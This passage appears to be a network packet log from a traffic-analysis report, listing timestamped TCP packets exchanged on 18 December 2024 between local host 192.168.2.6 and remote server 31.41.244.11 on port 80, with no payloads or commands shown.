Dec 18, 2024 11:09:27.220556021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.220556021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.221419096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.221550941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.221590042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.221590042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.222354889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.222575903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.222614050 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.222614050 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.223328114 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.223480940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.223516941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.223516941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.224323988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.224464893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.224497080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.224497080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.225416899 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.225544930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.225594997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.225594997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.226304054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.226342916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.226382971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.227346897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.227392912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.227392912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.227469921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.228241920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.228280067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.228280067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.228395939 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.229217052 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.229254961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.229254961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.229326963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.229726076 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.230174065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.230274916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.230312109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.230312109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.231174946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.231268883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.231304884 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.231304884 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.232130051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.232249022 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.232285023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.232285023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.233135939 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.233262062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.233298063 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.233298063 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.234108925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.234148026 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.234256983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.234293938 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.235109091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.235236883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.235274076 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.235274076 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.236078024 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.236179113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.236212015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.236212015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.237091064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.237210035 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.237243891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.237243891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.238029003 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.238070011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.238132954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.238976002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.239013910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.239013910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.378506899 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.378577948 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.378587961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.378676891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.378967047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.379055023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.379091978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.379091978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.379772902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.379889965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.379928112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.379928112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.380681038 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.380810976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.380848885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.380848885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.381671906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.381783009 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.381819010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.381819010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.382657051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.382747889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.382785082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.382785082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.383723974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.383850098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.383888960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.383888960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.384742975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.384852886 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.384890079 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.384890079 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.385631084 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.385760069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.385780096 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.386626005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.386666059 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.386666059 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.386744022 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.387346983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.387584925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.387717009 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.387753963 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.387753963 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.388603926 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.388691902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.388708115 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.389547110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.389568090 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.389730930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.389769077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.389769077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.390602112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.390775919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.390813112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.390813112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.391520023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.391627073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.391664028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.391664028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.392491102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.392601967 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.392638922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.392638922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.393469095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.393584013 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.393600941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.393702984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.394443989 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.394603014 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.394618988 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.394659042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.395432949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.395529032 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.395566940 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.395566940 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.396416903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.396523952 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.396562099 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.396562099 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.397393942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.397531033 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.397537947 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.398370028 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.398413897 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.398413897 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.398473978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.399375916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.399477959 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.399579048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.399612904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.399612904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.400378942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.400602102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.400638103 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.400638103 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.401380062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.401432037 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.401465893 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.401465893 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.402308941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.402345896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.402414083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.403345108 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.403356075 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.403495073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.403532028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.403532028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.404253960 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.404452085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.404489040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.404489040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.405441046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.405488968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.405576944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.406111002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.406251907 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.406399965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.406436920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.406436920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.407191038 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.407308102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.407341957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.407341957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.408179998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.408301115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.408334970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.408334970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.409208059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.409307003 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.409344912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.409346104 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.410159111 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.410262108 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.410301924 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.410301924 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.411220074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.411259890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.411298990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.411298990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.412132978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.412177086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.412241936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.412348986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.413100958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.413228989 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.413269043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.413269043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.414109945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.414232969 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.414238930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.414617062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.415083885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.415179014 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.415215969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.415215969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.416071892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.416218996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.416258097 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.416258097 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.417042971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.417170048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.417205095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.417205095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.418008089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.418210983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.418248892 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.418248892 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.418987036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.419038057 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.419085979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.419332981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.420041084 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.420140028 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.420183897 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.420183897 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.420998096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.421083927 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.421123028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.421123028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.421982050 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.422094107 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.422116995 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.422960043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.423002005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.423002005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.423079967 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.423346996 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.423918962 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.424006939 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.424042940 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.424042940 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.425010920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.425117016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.425153971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.425153971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.425913095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.426004887 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.426039934 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.426039934 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.426899910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.427030087 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.427067041 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.427067995 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.427930117 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.427984953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.428023100 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.428023100 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.428841114 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.428939104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.428976059 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.428976059 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.429904938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.430159092 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.569948912 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.569973946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.570118904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.570118904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.570159912 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.570358038 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.570389986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.570446968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.570472002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.570996046 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.571404934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.571424961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.571460962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.571460962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.572343111 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.572452068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.572489023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.572489023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.573338032 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.573390007 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.573421001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.573633909 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.574371099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.574443102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.574484110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.574484110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.575262070 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.575331926 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.575370073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.576010942 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.576255083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.576360941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.576399088 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.576399088 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.577322006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.577389956 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.577430010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.577430010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.578214884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.578311920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.578327894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.578615904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.579199076 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.579273939 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.579284906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.579335928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.580183983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.580296040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.580312014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.580355883 CET	49912	80	192.168.2.6	31.41.244.11
